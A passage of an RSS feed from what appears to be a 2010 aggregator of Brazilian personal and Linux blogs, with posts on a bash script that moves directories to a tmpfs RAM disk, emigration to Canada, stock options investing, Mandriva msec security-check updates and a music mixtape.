gorduroso, adicione mais açúcar. &lt;br /&gt;&lt;br /&gt;4) Se parecer equilibrado, adicione ambos.&lt;br /&gt;&lt;br /&gt;5) Volte ao passo 2. Repita isso dez vezes.&lt;br /&gt;&lt;br /&gt;6) Adicione uma pitada de sal.&lt;br /&gt;&lt;br /&gt;RECEITA PARA SALGADOS&lt;br /&gt;&lt;br /&gt;1) Misture alguma farinha com gordura e sal.&lt;br /&gt;&lt;br /&gt;2) Prove. Se parecer muito salgado, adicione mais gordura.&lt;br /&gt;&lt;br /&gt;3) Se parecer muito gorduroso, adicione mais sal.&lt;br /&gt;&lt;br /&gt;4) Volte ao passo 2 e repita 5 vezes.&lt;br /&gt;&lt;br /&gt;5) Adicione uma pitada de açúcar.&lt;br /&gt;&lt;br /&gt;RECEITA PARA COMIDAS AGRIDOCES (APENAS PARA GORDOS PROFISSIONAIS)&lt;br /&gt;&lt;br /&gt;1) Misture partes iguais de farinha, ovos, gordura, sal e açúcar.&lt;br /&gt;&lt;br /&gt;2) Se parecer muito salgado, adicione mais gordura e açúcar.&lt;br /&gt;&lt;br /&gt;3) Se parecer muito doce, adicione mais gordura e sal.&lt;br /&gt;&lt;br /&gt;4) Se parecer muito gorduroso, adicione mais sal e açúcar.&lt;br /&gt;&lt;br /&gt;5) Volte ao passo 2 e repita 5 vezes.&lt;br /&gt;&lt;br /&gt;6) Adicione um pouco de mel e pimenta.&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/tracker/20994619-1325026371367893757?l=casagrande.epx.com.br&quot; alt=&quot;&quot; height=&quot;1&quot; width=&quot;1&quot; /&gt;&lt;/div&gt;</description>
	<pubDate>Thu, 11 Feb 2010 18:20:14 +0000</pubDate>
</item>
<item>
	<title>Eugeni: Improving system speed, disk life and everything else in one small command</title>
	<guid>http://dodonov.net/blog/?p=722</guid>
	<link>http://dodonov.net/blog/2010/02/11/improving-system-speed-disk-life-and-everything-else-in-one-small-command/</link>
	<description>&lt;p&gt;I just noticed this days that, according to smartctl, the hard disk on my notebook has reached 365 days on &lt;strong&gt;Power_On_Hours&lt;/strong&gt; variable. As the notebook itself has almost 2 years of age (I bought it in March of 2008), it is almost a double birthday-combo &lt;img src=&quot;http://dodonov.net/blog/wp-includes/images/smilies/icon_smile.gif&quot; alt=&quot;:)&quot; class=&quot;wp-smiley&quot; /&gt; .&lt;/p&gt;

&lt;p&gt;However, at this age, it is obvious that the hard disk of the notebook was not prepared to endure such challenges nicely. Both of its speed (5400 RPMs), durability, capacity, and so on were targeted on a more light use.&lt;/p&gt;

&lt;p&gt;On the other hand, the system has 3GB of RAM, which is more than enough for most of my tasks. So after some thinking, I’ve been using some small script to automatically improve the system performance by offloading the most I/O-consuming stuff to RAM for the past few months.&lt;/p&gt;

&lt;p&gt;How does it works? Simple. I have a small script which grabs content of a disk directory which I expect to receive heavy use (for example, &lt;strong&gt;/usr/lib/firefox&lt;/strong&gt;, or the rpm &lt;strong&gt;BUILD/&lt;/strong&gt; directories which receive lots of I/O when building packages, and so on), and converts them into a RAM disk. This way, when anything inside such directory is accessed, it requires absolutely no hard disk I/O, the seek times are non-existent as well, and the throughput is incredible.&lt;/p&gt;

&lt;p&gt;For example, if I build &lt;strong&gt;mozilla-thunderbird&lt;/strong&gt; by using real hard disk BUILD directory, it takes almost 2 hours to build. If I use ramdisk for just the BUILD directory, the time required for such task drops down to about 30 minutes. The &lt;strong&gt;firefox&lt;/strong&gt; startup time (both cold and hot – e.g., the first execution and consecutive ones) have the same time of about 1 second; and so on.&lt;/p&gt;

&lt;p&gt;So, without further words, this is the script I am using:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;#!/bin/bash
#
# This script remounts a directory in tmpfs (ramdisk) to speed it up
#

DIR=$1
SIZE=$2

if [ ! &quot;$UID&quot; = &quot;0&quot; ]; then
    # this script must run by root. Let's try sudo'ing to root..
    exec sudo $0 $*
fi

if [ ! -d $DIR ]; then
    echo &quot;Usage: $0 &amp;lt;full path to a directory&amp;gt;&quot;
    exit 1
fi

if [ &quot;a$SIZE&quot; = &quot;a&quot; ]; then
    OPTIONS=&quot;&quot;
else
    OPTIONS=&quot;-o size=$SIZE&quot;
fi

# first, copy everything somewhere to reuse it later
TMP=`mktemp`
tar cpf $TMP $DIR

# remount dir as ramdisk
mount -t tmpfs $OPTIONS $DIR $DIR

# unpack everything back
(cd / &amp;amp;&amp;amp; tar xpf $TMP)
rm -f $TMP
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;To use it, just save it under a name like &lt;strong&gt;toram&lt;/strong&gt; and use it on the directory you want to move to ramdisk. The second optional parameter is the size of the ramdisk to use – as by default tmpfs mounts itself with 50% of available ram, sometimes you may want to use more or less memory.&lt;/p&gt;

&lt;p&gt;Just some examples on how to use it:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;# toram `pwd`/BUILD (will remount current BUILD directory in RAM)
# toram /usr/lib/firefox-3.6 (will remount firefox directory in ram)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;I hope this could be useful to someone &lt;img src=&quot;http://dodonov.net/blog/wp-includes/images/smilies/icon_smile.gif&quot; alt=&quot;:)&quot; class=&quot;wp-smiley&quot; /&gt; .&lt;/p&gt;</description>
	<pubDate>Thu, 11 Feb 2010 16:06:08 +0000</pubDate>
</item>
<item>
	<title>FZero: Au revoir, adiós, good bye, tchau.</title>
	<guid>http://grosserias.blog.br/?p=281</guid>
	<link>http://grosserias.blog.br/2010/02/10/au-revoir-adios-good-bye-tchau/</link>
	<description>&lt;p&gt;&lt;img src=&quot;http://grosserias.blog.br/wp-content/uploads/2010/02/800px-Flag_of_Canada-300x150.png&quot; title=&quot;Canada&quot; height=&quot;150&quot; width=&quot;300&quot; alt=&quot;Canada&quot; class=&quot;alignright size-medium wp-image-282&quot; /&gt; Muita gente já sabe, mas não custa avisar para os mais desligados: eu e &lt;a href=&quot;http://renata.org&quot;&gt;Nat&lt;/a&gt; estamos nos mudando para o Canadá (mais especificamente Toronto) agora em março.&lt;/p&gt;

&lt;p&gt;Isso já estava nos planos há algum tempo, mas a burocracia demorou a correr. A falta de posts por aqui tem a ver com isso, bem como a pouca atividade no Gerador Zero.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://picasaweb.google.com/fabio.fzero/VendaDeMudanca&quot;&gt;Estamos vendendo tudo&lt;/a&gt;, então aproveite! Ainda tem bastante coisa na listinha para sair, incluindo notebook, TV e a tão sonhada bicicleta. &amp;lt;/Bozo&amp;gt;&lt;/p&gt;

&lt;p&gt;Já consigo prever alguns dos comentários que vão aparecer por aqui, então já vou contra-atacar preemptivamente (ui) com uma mini-FAQ:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Por quê?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Por que não? Só se vive uma vez. Você quer mesmo viver a sua vida toda em um país só?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mas lá é frio! Vocês são cariocas! Não vão sentir falta da praia?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Lá é certamente mais frio que aqui no inverno, mas quase tão quente quanto qualquer cidade do sudeste no verão. É assim que funciona em países com estações bem definidas, querido leitor. Fora isso nós moramos em São Paulo há dois anos, portanto esse lance de praia já não importa há um bom tempo.&lt;/p&gt;

&lt;p&gt;By the way, tudo é muito relativo; apesar do Canadá ser um país “frio”, não está acontecendo o &lt;a href=&quot;http://www.youtube.com/watch?v=kpxiCxO5k0g&quot;&gt;Snowpocalypse&lt;/a&gt; por lá. Muito pelo contrário: esse está sendo um dos invernos mais amenos em Toronto, com pouquíssima neve.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Vocês já têm emprego?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Ainda não, mas as coisas estão indo bem nesse departamento: já rolaram algumas entrevistas por telefone antes mesmo de nos mudarmos. TI é uma daquelas áreas onde nunca falta trabalho.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mas explica isso direito, o que vocês fizeram? Como eu faço para ir também?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Você pode achar todas as informações necessárias no &lt;a href=&quot;http://cic.gc.ca&quot;&gt;site de imigração do governo canadense&lt;/a&gt;. Basicamente você precisa ter uma combinação de experiência, educação e domínio de inglês ou francês. Ter uma profissão que eles precisem por lá também ajuda bastante.&lt;/p&gt;

&lt;p&gt;É basicamente isso. Vou manter o blog, mas a escassez de posts vai durar mais algum tempo. Enquanto isso, &lt;a href=&quot;http://picasaweb.google.com/fabio.fzero/VendaDeMudanca&quot;&gt;vai lá e compra alguma coisa&lt;/a&gt;. ;-)&lt;/p&gt;</description>
	<pubDate>Thu, 11 Feb 2010 02:29:46 +0000</pubDate>
</item>
<item>
	<title>Epx: [Pecados do investidor] #1: pretender viver de Bolsa</title>
	<guid>tag:blogger.com,1999:blog-36718727.post-6113683580730698103</guid>
	<link>http://finance.epx.com.br/2010/02/pecados-do-investidor-1-pretender-viver_10.html</link>
	<description>Há muito tempo, periódicos em geral lançam mão de uma lista de &quot;sete pecados&quot;, &quot;sete erros&quot;, &quot;dez perguntas&quot;, &quot;dez mitos&quot;, enfim, uma quantidade mágica de items a respeito de determinado assunto. É um artifício para encher lingüiça, utilizado quando o redator não tem idéia melhor e a edição precisa fechar, e mesmo assim a maioria das pessoas gosta.&lt;br /&gt;&lt;br /&gt;Então, já que todo mundo faz, também vou fazer a minha lista de pecados do investidor. Com um detalhe: são erros que eu cometi pessoalmente, e às vezes ainda cometo. São meus demônios particulares. É difícil individualizá-los, pois estão todos interligados. &lt;br /&gt;&lt;br /&gt;Bem, ao assunto. Veja se esta &quot;consulta&quot; lhe soa familiar:&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;br /&gt;Seguinte meu bruxo: tenho 5.000 reais para investir e preciso de uma renda mensal de 3.000 reais. Que operações devo fazer para conseguir isso? Garante que não vou perder o investimento?&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Certamente algum amigo, parente, cunhado, colega de forum ou mesmo um completo desconhecido já lhe fez esta pergunta. Já vi isto inúmeras vezes, é até motivo de gozação recorrente dentro da equipe #d00dz.  Mas a verdade é que todo mundo, inclusive eu mesmo, já sonhou em viver de Bolsa. Quem disser que não, é mentiroso e está com vergonha de admitir :)&lt;br /&gt;&lt;br /&gt;O chato é que *existem* formas de conseguir a renda que nosso bruxo deseja. Se o sujeito acertar a mão no daytrade um mês inteiro, comprar opções e o mercado subir, ou fazer uma trava de baixa ITM e o mercado descer, ele consegue o que quer. Só que a chance de perder o capital, em qualquer caso, é de 50% ou mais. O fato dessas &quot;oportunidades&quot; existirem é a causa de muita desgraça.&lt;br /&gt;&lt;br /&gt;O engodo é mais sutil, mas igualmente perigoso, quando o sujeito tem mais dinheiro e uma noção básica de que não conseguirá dobrar o capital todo mês. Aí ele tenta extrair 'razoáveis' 5% ao mês de 50 mil. Para atingir esta performance, ainda é preciso correr riscos bastante grandes; e fatalmente o sujeito perde muito dinheiro. Se perder metade e sair da Bolsa injuriado, para nunca mais voltar, ainda pode considerar-se um cara de sorte. Muitos perdem tudo.&lt;br /&gt;&lt;br /&gt;Há cinco problemas aqui. O primeiro e mais óbvio é a exigência de uma performance muito grande. O parâmetro tem de ser a renda fixa. Se um investidor faz o dobro da renda fixa (o que significa 1,5% ao mês, hoje), já é uma boa renda, e é preciso colocar dinheiro em risco para atingí-la.&lt;br /&gt;&lt;br /&gt;O segundo problema é a necessidade premente da renda se concretizar todo santo mês. Como extrair uma renda fixa de um mercado de renda variável? O próprio nome -- renda variável -- evidencia o paradoxo.&lt;br /&gt;&lt;br /&gt;Quando o sujeito precisa fazer uma renda mensal, ele acaba sendo obrigado a fazer qualquer operação e correr riscos desaconselháveis, sem esperar a melhor oportunidade. Mesmo quem &quot;não precisa&quot; extrair renda da Bolsa incorre às vezes neste erro, por sentir-se coagido a não perder da renda fixa. E operar sob pressão é receita para o desastre.&lt;br /&gt;&lt;br /&gt;Além disso, apesar de tecnicamente toda aposta ter 50% de chance de sair vencedora, a Bolsa parece ter uma predileção sobrenatural em puxar o tapete de quem busca nela uma renda certa. O mais legendário investidor de todos os tempos, Jesse Livermore, menciona em sua biografia um caso interessante a respeito disto.&lt;br /&gt;&lt;br /&gt;Contou ele que diversos operadores fizeram uma &quot;aposta&quot;: tentar comprar um certo casaco de peles muito caro, com a condição de que o dinheiro teria de ser ganho na Bolsa. Um após o outro, todos falharam no intento. Note que tratava-se de gente experimentada no mercado, com muito dinheiro, e acostumada inclusive a fazer manipulações e trambiques. Quando finalmente um desses investidores decidiu comprar o casaco de qualquer jeito (sem ter ganhado o dinheiro na Bolsa), ele não estava mais na loja, já tinha sido vendido.&lt;br /&gt;&lt;br /&gt;A lição que Livermore tenta passar é: não se deve pretender tirar um &quot;salário&quot; mensal da Bolsa para fazer frente a despesas e compromissos. O mercado teria uma tendência quase mágica a entornar o caldo de quem faz isso. Ou talvez seja simplesmente a necessidade de operar qualquer coisa, regularmente, sem esperar pelo melhor momento, que cause a derrota. Isto vale mesmo para os mais ricos investidores. &lt;br /&gt;&lt;br /&gt;Não há nada de errado em retirar dinheiro da corretora para pagar despesas, se for necessário. Dinheiro é para gastar. Se o capital investido for grande o suficiente, este saque não vai comprometê-lo. Mas é impossível sincronizar retiradas com os ganhos; quem não tem outra fonte de renda, tem de aceitar o risco de ter de fazer retiradas com o mercado no fundo do poço.&lt;br /&gt;&lt;br /&gt;Como diz o Bastter com muita propriedade: Bolsa remunera capital, não paga salário. E os combustíveis da remuneração são tempo e risco. Sem dar tempo ao tempo e sem correr riscos, não há retorno. &lt;br /&gt;&lt;br /&gt;Também pode-se usar aqui o argumento do &quot;mercado eficiente&quot;. Se a Bolsa oferecesse algum mecanismo de geração de renda fixa sem risco, todos os poupadores migrariam para a Bolsa, inundando-a de dinheiro e fazendo-a subir, até o hipotético rendimento empatar com a renda fixa &quot;normal&quot;. &lt;br /&gt;&lt;br /&gt;No post anterior, mencionamos as operações-taxa, que permitem obter uma renda quase fixa, quase sem risco. Há operações sofisticadas que permitem extrair uma renda &quot;fixa&quot; da Bolsa. Mas quanto mais segura for uma operação, mais a taxa de retorno dela vai aproximar-se da renda fixa convencional, ou da poupança. Certamente uma taxa de 1,5% ao mês não é o que o nosso bruxo com 5000 reais no bolso consideraria um &quot;bom investimento&quot;. E se o capital não for muito grande, tais operações sofisticadas podem nem valer a pena.&lt;br /&gt;&lt;br /&gt;O terceiro problema dos &quot;bruxos&quot; é que eles, paradoxalmente, buscam risco zero, ao mesmo tempo que desejam altíssimo retorno. Em geral porque têm pouco dinheiro, e compreensivelmente não querem perdê-lo. Mas falta a muitos a noção de que risco e retorno andam de mãos dadas.&lt;br /&gt;&lt;br /&gt;O quarto problema é que a necessidade de dinheiro para a vida pessoal é quase sempre um valor fixo mensal, e é impossível casar isto com a natureza variável da renda da Bolsa. Por mais que o sujeito pense &quot;se eu ganhar menos, gastarei menos este mês&quot;, ele não vai conseguir fazer isto de verdade (muito menos se tiver família).&lt;br /&gt;&lt;br /&gt;E haverá meses em que o rendimento da Bolsa será negativo, e espera-se que o investidor *traga* capital para segurar o que tem. Isto implica em que haja outra fonte de renda, de natureza completamente diferente -- como por exemplo o bom e velho salário de empregado.&lt;br /&gt;&lt;br /&gt;É por isso que todo consultor de finanças que valha o que come, encoraja os investidores a continuar trabalhando em suas profissões &quot;normais&quot;. Entre outros motivos, é uma &quot;bóia de salvação&quot; se tudo o mais falhar.&lt;br /&gt;&lt;br /&gt;O quinto e último problema da &quot;bruxaria&quot; é que, se uma pessoa chegar a ter capital suficiente na Bolsa para viver apenas disso, a administração desse capital tornar-se-à uma ocupação full-time -- ou pelo menos uma preocupação full-time. Ou seja, o sujeito troca um emprego por outro. Será que é isto que os &quot;bruxos&quot; procuram? Duvido.&lt;br /&gt;&lt;br /&gt;Naturalmente, ser dono da própria quitanda tem suas vantagens. E é onde a maioria de nós quer chegar. Mas não nos iludamos; sossego completo é só na sepultura.&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/tracker/36718727-6113683580730698103?l=finance.epx.com.br&quot; alt=&quot;&quot; height=&quot;1&quot; width=&quot;1&quot; /&gt;&lt;/div&gt;</description>
	<pubDate>Wed, 10 Feb 2010 23:02:11 +0000</pubDate>
</item>
<item>
	<title>Epx: Operações-taxa com opções</title>
	<guid>tag:blogger.com,1999:blog-36718727.post-1594950697973074715</guid>
	<link>http://finance.epx.com.br/2010/02/operacoes-taxa-com-opcoes.html</link>
	<description>No meu livro, eu tinha mencionado a pouca utilidade de operações como venda coberta e trava de baixa &quot;no dinheiro&quot; (ITM). Elas arrecadam muito dinheiro, mas quase tudo é devolvido no encerramento. Não rendem na alta e não protegem contra fortes baixas. Parecem não servir para nada...&lt;br /&gt;&lt;br /&gt;Mas a diminuição das taxas de juros encarregou-se de provar que eu estava errado. Há sim oportunidades nas operações vendedoras ITM. Vamos considerar um ativo hipotético XPTO4:&lt;br /&gt;&lt;br /&gt;Valor atual (spot): R$ 100&lt;br /&gt;Volatilidade: 25% ao ano&lt;br /&gt;Taxa de juros: 9% ao ano&lt;br /&gt;Vencimento da próxima série de opções: 1 mês&lt;br /&gt;&lt;br /&gt;Uma opção de compra com strike de R$ 95, na situação acima, vale R$ 6,51, dos quais R$ 5,00 são valor intrínseco e R$ 1,51 são valor extrínseco. A venda coberta dessa opção rende, no máximo, R$ 1,51, ou seja, o capital é remunerado em apenas 1,51% ao mês.&lt;br /&gt;&lt;br /&gt;Nesta mesma situação, a venda coberta da opção ATM, com strike de R$ 100, renderia R$ 3,23, mais que o dobro. Por que alguém venderia outra opção que não a ATM?&lt;br /&gt;&lt;br /&gt;O ponto é que venda coberta da opção a R$ 95,00 dá muito mais proteção contra quedas. A ação XPTO4 pode cair até R$ 93,49 sem que a operação saia no prejuízo (supondo que seja carregada até o vencimento). Um &quot;stop&quot; em R$ 95,00 garante que, na pior das hipóteses, a operação seja liquidada automaticamente antes de entrar em terreno negativo. Embora o rendimento seja pequeno, o risco também é pequeno. E um rendimento de 1,5% ao mês é o dobro da renda fixa!&lt;br /&gt;&lt;br /&gt;Uma operação com esta característica é denominada operação-taxa, pois ela tem um rendimento quase fixo e de baixo risco. Esse rendimento vai ser geralmente modesto, e rivaliza com a renda fixa, não com o índice BOVESPA.&lt;br /&gt;&lt;br /&gt;Claro que &quot;baixo risco&quot; é muito relativo. Nada impede a ação XPTO4 de cair de 100 para 30 instantaneamente, ou na virada do dia, caso em que um &quot;stop&quot; é completamente inútil. Este &quot;risco de gap&quot; não pode ser eliminado completamente, mas pode ser diminuído pela adoção de um ativo extremamente líquido (Petrobrás, Vale), cujos preços oscilam de forma mais contínua, sem gaps muito grandes.&lt;br /&gt;&lt;br /&gt;Outra possibilidade de (pequena) perda com esta operação, é se o ativo cair rapidamente até o ponto de &quot;stop&quot; logo nos primeiros dias da operação.  Na montagem, gastamos R$ 93,49 (100 - 3.51). Se em seguida o ativo cair para R$ 95, a opção que tínhamos vendido torna-se ATM e seu valor extrínseco aumenta para R$ 3,07.&lt;br /&gt;&lt;br /&gt;Assim, gastamos 3,07 para recomprar este papel, mas recebemos 95 ao vender XPTO. Total recebido de volta: R$ 91,93. Como tínhamos gastado 93,49 para montar, o prejuízo foi de R$ 1,56 (exatamente o aumento do valor extrínseco, de 1,51 para 3,07), que representa 1,56% do investimento.&lt;br /&gt;&lt;br /&gt;Este é o pior cenário, quando a queda é justamente a seguir da montagem. Se esta queda em direção ao stop ocorrer mais próximo do vencimento, o valor extrínseco da opção será menor. Considerando o cenário hipotético que estamos usando, o empate ocorre a 8 dias do vencimento.&lt;br /&gt;&lt;br /&gt;Para evitar até mesmo este pequeno prejuízo, podemos vender opções ainda mais ITM, e/ou colocar o stop mais acima. Opções mais ITM diminuem o (já magro) rendimento, e o stop mais apertado aumenta a chance da operação ser &quot;violinada&quot;.&lt;br /&gt;&lt;br /&gt;Outro aspecto importante desta operação é que, pelo fato do rendimento ser pouco, é preciso muita atenção com os custos de corretagem. Se a corretora cobrar 0,5% do valor a cada transação, isto roubaria dois terços do rendimento da nossa operação hipotética. Diferente da venda coberta &quot;tradicional&quot;, onde o vendedor fica contente se a opção virar pó, a operação-taxa sempre liquida a operação, seja sendo exercido ou por desfazimento. &lt;br /&gt;&lt;br /&gt;Pelas características de pouco rendimento e necessidade de acompanhamento, esta operação exige um operador atento, e um volume de capital grande o suficiente para o aborrecimento valer a pena. Certamente é uma ferramenta interessante para gestores de fundos e grandes carteiras. Também é uma operação &quot;à prova de Dona Encrenca&quot; (*), pois (se acompanhada de perto) é uma operação cujo potencial máximo de perda é bem pequeno.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;(*) O fator &quot;Dona Encrenca&quot; é o medo que o operador tem de ser xingado pela esposa ao perder qualquer dinheiro na Bolsa ou aplicação de renda variável. Ou ser vitimado pela irrepreensível lógica de &quot;se você pode perder 4 mil na bolsa, eu posso gastar 4 mil em roupas!&quot;.&lt;/span&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/tracker/36718727-1594950697973074715?l=finance.epx.com.br&quot; alt=&quot;&quot; height=&quot;1&quot; width=&quot;1&quot; /&gt;&lt;/div&gt;</description>
	<pubDate>Wed, 10 Feb 2010 21:34:24 +0000</pubDate>
</item>
<item>
	<title>Renata: Encontrei a saída</title>
	<guid>http://renata.org/?p=1199</guid>
	<link>http://renata.org/post/encontrei-a-saida/</link>
	<description>&lt;p&gt;A saída para o Brasil, como todos devem saber, é o aeroporto. Chega de samba, suor e carnaval, eu não nasci para isso. Cansei de esperar para ir depois. &lt;/p&gt;
&lt;p&gt;Comprei passagens para a terra do gelo e vou escapar em breve. Enquanto isso, estou &lt;a href=&quot;http://moourl.com/vendendotudo&quot;&gt;VENDENDO TUDO&lt;/a&gt;. Falta colocar a bike do Fabio na lista, ele usa tanto que esquece que ela existe. &lt;/p&gt;
&lt;p&gt;Sim, eu vou para um país que não conheço, morar num apartamento que nunca vi, sem emprego, só com uma grana na poupança. Se alguém quiser saber algo sobre o processo, sugiro a lista &lt;a href=&quot;http://groups.yahoo.com/group/canada_immigration_brasil/&quot;&gt;canada_immigration_brasil&lt;/a&gt; ou o site do Governo do Canada. É um processo demorado, caro e burocrático, e, dizem, a pior parte é se mudar e recomeçar do zero. &lt;/p&gt;
&lt;p&gt;Eu não tenho medo de recomeçar e esvaziar a casa, para mim, tem sido libertador. É sempre bom ter em mente que dificilmente as coisas acontecerão conforme o planejado (e põe fora do planejado nisso), e é IMPOSSÍVEL controlar a ansiedade. Só arrumar as malas e nadar MUITO tem me ajudado. Em determinado momento você precisa abstrair os deadlines que havia pensado e ir fazendo as coisas do jeito que dá. &lt;/p&gt;
&lt;p&gt;Depois explico detalhadamente o PROCESSO DE IMIGRAÇÃO COM DOIS GATOS. Sim, eles vão comigo, e vão na cabine do avião. Isso me deu menos trabalho que lances bancários. MUITO menos trabalho. &lt;/p&gt;
&lt;p&gt;Por ora, é isso. Terei dias muito, muito cheios até março, até que minha net será cancelada e dependerei da wireless do vizinho ou da padaria. &lt;/p&gt;
&lt;p&gt;P.S.: Meu eeepc 900 com 2GB de RAM também está à venda. Tem um ano de uso, muito bem cuidado, é preto. To querendo 700 nele. &lt;/p&gt;</description>
	<pubDate>Tue, 09 Feb 2010 15:53:37 +0000</pubDate>
</item>
<item>
	<title>Eugeni: Msec updates getting (mostly) ready for 2010.1</title>
	<guid>http://dodonov.net/blog/?p=713</guid>
	<link>http://dodonov.net/blog/2010/02/08/msec-updates-getting-mostly-ready-for-2010-1/</link>
	<description>&lt;p&gt;It has been quite some time since I last posted here about &lt;strong&gt;msec&lt;/strong&gt;. For the past few weeks, it received some attention and now I guess many of the features I wanted to push for &lt;strong&gt;Mandriva 2010.1&lt;/strong&gt; are implemented. So I’ll describe the most interesting ones in this blog post (and save some for later &lt;img src=&quot;http://dodonov.net/blog/wp-includes/images/smilies/icon_smile.gif&quot; alt=&quot;:)&quot; class=&quot;wp-smiley&quot; /&gt;  ).&lt;/p&gt;

&lt;p&gt;First of all, starting with &lt;strong&gt;Mandriva 2010.1&lt;/strong&gt;, msec will support user-defined periodicity for all periodic security checks. Therefore, it is possible to specify if each test should be executed daily (like in all previous msec versions), weekly or even monthly. In my opinion, this feature is one of the most interesting among all others, because it allows you to fine-tune the balance between security checks and daily I/O load caused by some expensive checks.&lt;/p&gt;

&lt;p&gt;By default, checks which require lots of I/O (e.g., checking for unowned files, or world-writable files, and so on) will run weekly on the &lt;strong&gt;standard&lt;/strong&gt; security level. Why so? Because this check was responsible for approximately 80% of all time required to run the periodic checks, and on most of the machines its results did not differ between consecutive days. Surely, it is nice to have a daily notification of all those changes, but the I/O cost of it is unacceptable high. Of course, you can define the periodicity of all such checks to be &lt;strong&gt;daily&lt;/strong&gt; when you want, by using &lt;strong&gt;msecgui&lt;/strong&gt; application of editing the configuration file manually &lt;img src=&quot;http://dodonov.net/blog/wp-includes/images/smilies/icon_smile.gif&quot; alt=&quot;:)&quot; class=&quot;wp-smiley&quot; /&gt; .&lt;/p&gt;

&lt;p&gt;Another interesting feature was the de-duplication of variables between main msec configuration file (&lt;strong&gt;security.conf&lt;/strong&gt;) and the level configuration file (for example, &lt;strong&gt;level.standard&lt;/strong&gt;). On previous versions, all variables were defined in &lt;strong&gt;security.conf&lt;/strong&gt;, even if they have exactly the same value as the default one for the current security level. This way, it was easier to see all the configuration at once by looking into &lt;strong&gt;/etc/security/msec/security.conf&lt;/strong&gt; file. On the other hand, it lead to duplication of almost all variables..&lt;/p&gt;

&lt;p&gt;So for 2010.1, the behavior when saving the configuration file was modified to be more logical (and similar to the one of &lt;strong&gt;msecgui&lt;/strong&gt;, which displays variables that differ from the default values for the security level in different way). If you want to redefine a variable, just specify it in &lt;strong&gt;security.conf&lt;/strong&gt; and this change will take effect. If you want to disable a variable completely, just define it to an empty value (like, &lt;strong&gt;CHECK_SOMETHING=&lt;/strong&gt;), like in previous versions, and it will be disabled.&lt;/p&gt;

&lt;p&gt;To simplify this, we could use the following analogy: in previous msec versions (e.g., 2009.1 and 2010.0), the &lt;strong&gt;security.conf&lt;/strong&gt; file contains the whole security configuration of msec plus the name of the security level which is used as base. In 2010.1, it contains the reference to the base security level plus only the variables which must be overridden for this level. In other words, on Mandriva 2010.1 just by looking at the msec security file it is possible to say “this machine is configured to use the same configuration as on &lt;strong&gt;standard&lt;/strong&gt; security level, except those three checks that should be disabled).&lt;/p&gt;

&lt;p&gt;There is yet another reason for this change, which will be described in details when it gets implemented (probably in a few coming weeks). So stay tuned for more news &lt;img src=&quot;http://dodonov.net/blog/wp-includes/images/smilies/icon_smile.gif&quot; alt=&quot;:)&quot; class=&quot;wp-smiley&quot; /&gt; .&lt;/p&gt;

&lt;p&gt;Another feature was the possibility of running the RedHat &lt;strong&gt;sectool&lt;/strong&gt; checks periodically, among with all other msec checks. Just install &lt;strong&gt;sectool&lt;/strong&gt; package from the contrib, and its checks will be executed automatically by msec.&lt;/p&gt;

&lt;p&gt;Additionally, the integration between &lt;strong&gt;msec&lt;/strong&gt; and &lt;strong&gt;msecperms&lt;/strong&gt; applications was improved, making it easier to switch security levels and creating custom levels.&lt;/p&gt;

&lt;p&gt;Besides those changes, several msec messages were improved to make them easier to understand by non-geek users &lt;img src=&quot;http://dodonov.net/blog/wp-includes/images/smilies/icon_smile.gif&quot; alt=&quot;:)&quot; class=&quot;wp-smiley&quot; /&gt; , and, like usual, several bugs were fixed.&lt;/p&gt;

&lt;p&gt;Like always, I am very interested in your feedback on those changed. Please, feel free to drop me a note whether you like these features, dislike them, or any other kind of comments about msec.&lt;/p&gt;</description>
	<pubDate>Mon, 08 Feb 2010 15:13:28 +0000</pubDate>
</item>
<item>
	<title>Rudá: MixTape #1</title>
	<guid>http://ruda.livejournal.com/139266.html</guid>
	<link>http://ruda.livejournal.com/139266.html</link>
	<description>&lt;br /&gt;&lt;ol&gt;&lt;br /&gt;&lt;li&gt;Echo &amp;amp; The Bunnymen - The Killing Moon&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Bauhaus - Bela Lugosi's Dead&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Jesus &amp;amp; Mary Chain - Never Understand&lt;/li&gt;&lt;br /&gt;&lt;li&gt;OMD - Maid of Orleans (The Waltz Joan of Arc)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Siouxsie and the Banshees - Israel&lt;/li&gt;&lt;br /&gt;&lt;li&gt;The Band of Holy Joy - Tactless&lt;/li&gt;&lt;br /&gt;&lt;li&gt;The Bodines - Skanking Queens&lt;/li&gt;&lt;br /&gt;&lt;li&gt;The Railway Children - A Gentle Sound&lt;/li&gt;&lt;br /&gt;&lt;li&gt;U2 - New Years Day&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Gene Loves Jezebel - Motion Of Love&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Depeche Mode - A question Of Lust&lt;/li&gt;&lt;br /&gt;&lt;li&gt;The Smiths - Barbarism Begins At Home&lt;/li&gt;&lt;br /&gt;&lt;/ol&gt;&lt;br /&gt;&lt;a href=&quot;http://www.youtube.com/view_play_list?p=8962C363B5306322&quot;&gt;MixTape#1&lt;/a&gt;</description>
	<pubDate>Sat, 06 Feb 2010 03:56:04 +0000</pubDate>
</item>
<item>
	<title>Epx: TV Bastter e o "Cemitério dos Malandros"</title>
	<guid>tag:blogger.com,1999:blog-36718727.post-1350609199044310148</guid>
